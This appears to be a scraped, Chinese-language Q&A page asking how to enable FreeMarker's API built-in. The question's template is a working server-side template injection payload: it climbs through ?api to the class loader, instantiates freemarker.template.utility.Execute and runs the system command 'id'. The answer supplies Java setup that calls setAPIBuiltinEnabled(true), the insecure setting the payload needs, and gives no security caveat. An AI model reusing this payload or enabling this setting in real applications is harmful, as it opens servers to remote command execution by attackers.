如何在freemarker java中打开“api\u builtin\u enabled”?

g6baxovj  于 2021-07-06  发布在  Java
关注(0)|答案(1)|浏览(371)

当我使用模板贝娄我会得到错误。请帮帮我!

<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("id")}

w46czmvw

w46czmvw1#

使用freemarker模板生成html的最简单java代码可以是:config.setapibuiltinenabled(true);线路可能是你要找的。

import freemarker.cache.ClassTemplateLoader;
import freemarker.core.Environment;
import freemarker.template.Configuration;
import freemarker.template.Template;
// ... other imports

private byte[] createHtmlContent() throws Exception {
    Map<String, Object> data = new HashMap<String, Object>();
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    Writer w = new OutputStreamWriter(baos, StandardCharsets.UTF_8);

    Configuration config = new Configuration();
    config.setAPIBuiltinEnabled(true);

    config.setTemplateLoader(new ClassTemplateLoader(getClass(), "/META-INF/resources/ftl/"));
    Template template = config.getTemplate("template.ftl");

    Environment env = template.createProcessingEnvironment(data, w);
    env.setOutputEncoding("UTF-8");
    env.process();

    return baos.toByteArray();
}

相关问题